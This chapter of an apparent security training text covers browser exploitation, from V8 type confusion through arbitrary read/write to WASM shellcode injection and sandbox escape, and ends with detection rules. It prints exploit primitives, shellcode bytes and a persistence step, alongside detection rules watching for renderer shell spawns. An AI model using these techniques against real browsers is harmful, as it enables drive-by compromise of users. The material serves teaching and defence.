Chapter 205

Browser Exploit Techniques

Modern browser exploitation is a two-stage process: a renderer exploit achieves arbitrary code execution inside the sandboxed renderer process, then a sandbox escape exploit leverages a privileged IPC path or kernel vulnerability to achieve unsandboxed execution. The renderer stage typically abuses the JavaScript engine (type confusion, OOB read/write, UAF) to gain an arbitrary read/write primitive. The sandbox escape stage abuses the broker or a kernel driver to elevate out of the AppContainer or job object restrictions.

Scenario

An enterprise deploys an internally-developed Chromium-based browser with an older V8 version (8.x, circa 2021). A researcher identifies a type confusion bug in the JIT compiler's node type tracking: a JSArray can be treated as a FixedArray after a specific sequence of property accesses. You need to turn this confusion into an out-of-bounds write primitive, then corrupt an ArrayBuffer's backing store pointer to achieve arbitrary memory read/write, then write shellcode and transfer execution — all before escaping the sandbox via a privileged IPC handler.

JIT Spray

// JIT spray: force the JIT compiler to emit code that embeds attacker-controlled values
// as immediate operands. Those values can be interpreted as x86/x64 instructions if
// execution lands in the middle of the JIT-compiled blob.
//
// Classic 32-bit ASLR bypass: (less relevant with 64-bit ASLR + ACG)
// XOR EAX, 0x0c0c0c0c encodes to: 35 0c 0c 0c 0c
// Repeat 0x10000+ times → JIT blob of identical XOR instructions in predictable range
// Mid-instruction landing at bytes 3-5 of first XOR = 0c 0c 0c =
//   "ADD CL, 0x0c" (x86 NOP-like sequence) → slides to shellcode at end of chain

// Modern JIT spray (ACG/W^X bypass with WASM or asm.js, pre-ACG):
// WASM compiled by V8 into memory region that is RWX → overwrite that region
// ACG (Arbitrary Code Guard) prevents creating new RWX regions in Edge/Chrome sandboxed
// renderer → JIT spray to RWX WASM regions is a common pre-ACG technique

// JavaScript to produce repetitive JIT blob:
function jitSpray() {
    var x = 0;
    x ^= 0x0c0c0c0c;  // 5 bytes: 35 0c 0c 0c 0c
    x ^= 0x0c0c0c0c;
    x ^= 0x0c0c0c0c;
    // ... repeat 10000 times ...
    return x;
}
// V8 hot-path compiles this to RWX or RX memory in JIT heap
// Address range predictable (before ASLR improvements)

Type Confusion → OOB Read/Write

V8 OBJECT LAYOUT (simplified, 64-bit, pointer compression disabled): ┌──────────────────────────────────────────────────────────────────────┐ │ JSArray: │ │ [0] Map pointer (type, element kind, field layout) │ │ [8] Properties │ │ [16] Elements (ptr to FixedArray or NumberDictionary) │ │ [24] Length (SMI — small integer, low bit always 0) │ │ │ │ FixedArray: │ │ [0] Map pointer (0x...fixed_array_map) │ │ [8] Length (SMI) │ │ [16] Element 0 ... │ │ [24] Element 1 ... │ │ │ │ ArrayBuffer: │ │ [0] Map pointer │ │ [8] Properties │ │ [16] byte_length (SMI) │ │ [24] backing_store (raw pointer to malloc'd buffer) │ │ [32] bit_field │ └──────────────────────────────────────────────────────────────────────┘ TYPE CONFUSION EXPLOIT FLOW: 1. Craft JSArray with specific length that maps to FixedArray length field offset 2. After type confusion: treating JSArray as FixedArray skips length bounds check 3. Array[length + N] → OOB read/write into adjacent heap objects 4. Create adjacent ArrayBuffer object → overwrite its backing_store pointer 5. backing_store = target address → Uint8Array over this ArrayBuffer = arbitrary r/w
// Simplified type confusion primitive in JavaScript (illustrative, not a real CVE):
function typeConfuse() {
    // Setup: create JSArray that will be confused as FixedArray
    var victim = [1.1, 2.2, 3.3, 4.4];  // PACKED_DOUBLE_ELEMENTS

    // Create ArrayBuffer immediately adjacent on heap
    var spray = [];
    for (var i = 0; i < 100; i++) spray.push(new ArrayBuffer(0x100));
    // Find the one adjacent to victim via confusion primitive (omitted)
    var adjacentBuf = spray[50];

    // After type confusion fires: victim.length appears as large value
    // OOB write at index that corresponds to adjacentBuf.backing_store offset
    var oobOffset = (/* offset to backing_store */ 24) / 8;
    victim[oobOffset] = int64ToDouble(BigInt(0x41414141));  // overwrite backing_store

    // Now: any read/write through adjacentBuf reads/writes at 0x41414141
    var view = new DataView(adjacentBuf);
    view.getBigUint64(0, true);  // reads from 0x41414141 → arbitrary read
    view.setBigUint64(0, 0x4242424242424242n, true);  // arbitrary write
}

// Helper: double ↔ int64 conversion via SharedArrayBuffer trick (no type confusion needed):
var convBuf = new ArrayBuffer(8);
var f64     = new Float64Array(convBuf);
var u32     = new Uint32Array(convBuf);
function f2i(f) { f64[0] = f; return BigInt(u32[0]) | (BigInt(u32[1]) << 32n); }
function i2f(i) { u32[0] = Number(i & 0xffffffffn); u32[1] = Number(i >> 32n); return f64[0]; }

Sandbox Escape Techniques

TechniqueMechanismMitigation
GPU process exploitationGPU process has broader OS access; renderer sends malformed IPC to GPU → code exec outside sandboxGPU process sandboxing (Win10 21H2+)
Chrome IPC Mojo message handler bugRenderer → Browser process via Mojo IPC; heap UAF/OOB in browser-side Mojo handler → code in browserMiraclePtr, BackupRefPtr, Mojo type validation
Windows kernel EoPRenderer RCE → use NtGdi* or win32k syscalls from AppContainer to exploit kernel → SYSTEMwin32k.sys lockdown for renderer processes (Chrome/Edge)
CSRSS/COM server abuseCOM objects accessible to AppContainer; vulnerable COM server exploited via marshaled interfaceAppContainer COM access restrictions
Extension privilege abuseCompromise a privileged extension that has broader permissions; use extension's Message Passing to drive browser APIExtension CSP, permissions review

V8 Shellcode Execution — WASM RWX Region

// Pre-ACG technique: V8 compiles WASM to a RWX memory region.
// Arbitrary-write primitive → overwrite WASM code region → write shellcode.
// Then trigger WASM function call → executes shellcode.
// (ACG blocks creation of new RWX regions, but if WASM RWX region already exists
//  and we have arbitrary write, we can overwrite it without allocating a new one.)

async function exploitViaWasm(writeQword, readQword) {
    // Compile a trivial WASM module
    var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,4,1,96,0,0,3,2,1,0,7,8,1,4,109,97,105,110,0,0,10,3,1,1,0,11]);
    var wasmMod  = new WebAssembly.Module(wasmCode);
    var wasmInst = new WebAssembly.Instance(wasmMod);

    // Locate the WASM instance's JIT code region address using arbitrary read:
    // V8 WasmInstanceObject → imported_function_targets → jump table address
    // (actual offset depends on V8 version — found via object layout analysis)
    var wasmFuncAddr = /* read from wasmInst's internal pointer at known offset */ 0n;

    var shellcode = new Uint8Array([
        0x48,0x31,0xff,                          // xor rdi, rdi
        0x48,0xc7,0xc0,0x3b,0,0,0,              // mov rax, 59 (sys_execve)
        0x0f,0x05                                // syscall (Linux) — or int3 as PoC
    ]);

    // Overwrite WASM function's code at wasmFuncAddr with shellcode
    for (var i = 0; i < shellcode.length; i += 8) {
        var chunk = 0n;
        for (var j = Math.min(7, shellcode.length-i-1); j >= 0; j--)
            chunk = (chunk << 8n) | BigInt(shellcode[i+j]);
        writeQword(wasmFuncAddr + BigInt(i), chunk);
    }

    // Trigger execution: call WASM function → jumps to our shellcode
    wasmInst.exports.main();
}

Full Exploit Flow

FULL BROWSER EXPLOIT CHAIN ═══════════════════════════════════════════════════════════════════════ Phase 1: RENDERER EXPLOIT ┌────────────────────────────────────────────────────────────────────┐ │ Victim visits attacker page → JS exploit loads │ │ → Type confusion / UAF in V8 fires │ │ → Heap grooming produces OOB read/write │ │ → ArrayBuffer backing_store overwritten │ │ → Arbitrary read/write primitive established │ │ → Leak V8/OS ASLR bases via arbitrary read │ │ → WASM RWX region located and overwritten with shellcode │ │ → Shellcode executes inside renderer (AppContainer sandbox) │ └────────────────────────────────────────────────────────────────────┘ ▼ Phase 2: SANDBOX ESCAPE ┌────────────────────────────────────────────────────────────────────┐ │ Renderer shellcode sends malformed Mojo IPC to browser process │ │ → Browser-side handler has heap UAF (separate CVE) │ │ → Code exec in browser process (no sandbox restriction) │ │ → Drop persistence payload to %APPDATA%\Roaming │ │ → Execute via COM/scheduled task with user token │ └────────────────────────────────────────────────────────────────────┘ ═══════════════════════════════════════════════════════════════════════

Detection Engineering

title: Renderer Process Spawning Unexpected Child
logsource:
  product: windows
  category: process_creation
detection:
  renderer:
    ParentImage|contains:
      - '\chrome.exe'
      - '\msedge.exe'
      - '\firefox.exe'
    ParentCommandLine|contains: '--type=renderer'
  suspicious_child:
    Image|endswith:
      - '\cmd.exe'
      - '\powershell.exe'
      - '\wscript.exe'
      - '\mshta.exe'
  condition: renderer and suspicious_child
level: critical
tags: [attack.execution, T1203, T1189]

title: Browser Renderer Memory — RWX Region Written Outside JIT Baseline
logsource:
  product: windows
  service: microsoft-windows-security-mitigations
detection:
  selection:
    EventID: 10
    ProcessName|contains:
      - 'chrome'
      - 'msedge'
  condition: selection
level: high

-- MDE KQL: browser renderer spawning non-browser child process
DeviceProcessEvents
| where InitiatingProcessFileName in~ ("chrome.exe","msedge.exe","firefox.exe")
| where InitiatingProcessCommandLine has "--type=renderer"
| where FileName in~ ("cmd.exe","powershell.exe","mshta.exe","wscript.exe","cscript.exe")
| project Timestamp, DeviceName, InitiatingProcessCommandLine,
          FileName, ProcessCommandLine

-- MDE KQL: file drop from renderer process to user profile
DeviceFileEvents
| where InitiatingProcessFileName in~ ("chrome.exe","msedge.exe")
| where InitiatingProcessCommandLine has "--type=renderer"
| where FolderPath startswith @"C:\Users\"
| where FileName endswith ".exe"
    or FileName endswith ".dll"
    or FileName endswith ".ps1"
| project Timestamp, DeviceName, FileName, FolderPath, InitiatingProcessCommandLine

Q&A

What is the V8 pointer compression scheme, and how does it complicate exploit development compared to uncompressed 64-bit pointers?

V8 pointer compression (introduced in V8 8.0, enabled by default in Chrome 80+) reduces per-object memory cost by storing heap pointers as 32-bit offsets relative to a 4GB-aligned "cage" base address rather than as full 64-bit addresses. The cage base is stored in a dedicated register (typically r13 on x64). Every V8 heap access computes the real 64-bit address as cage_base + compressed_ptr at runtime. This halves the memory used by pointers on the heap and substantially improves cache efficiency.

The exploit impact is twofold. First, compressed pointers are 32-bit values — leaking a 32-bit value from V8 heap no longer directly gives you a full 64-bit OS address. To dereference OS memory or call a native function, you must first leak the cage base (typically by finding a raw 64-bit pointer that escapes compression, such as the WASM backing store or the native code pointer in a JSFunction) and then combine it with the compressed offset. Second, the 4GB cage creates a natural boundary: arbitrary writes that stay within the cage are bounded to V8 heap. Writing outside the cage (to corrupt OS structures or inject shellcode in OS memory) requires finding a raw 64-bit pointer escape — objects like ArrayBuffer backing stores, TypedArray data pointers, or code pointers in WasmInstanceObject that V8 stores as uncompressed full 64-bit values even inside the cage.

Concretely: exploits written for pre-compression V8 (where every heap value was a full 64-bit pointer) break because the leaked values are now 32-bit offsets. The exploit must add a step to learn cage_base via one of the uncompressed leaks, then reconstruct 64-bit addresses before overwriting backing stores or code pointers.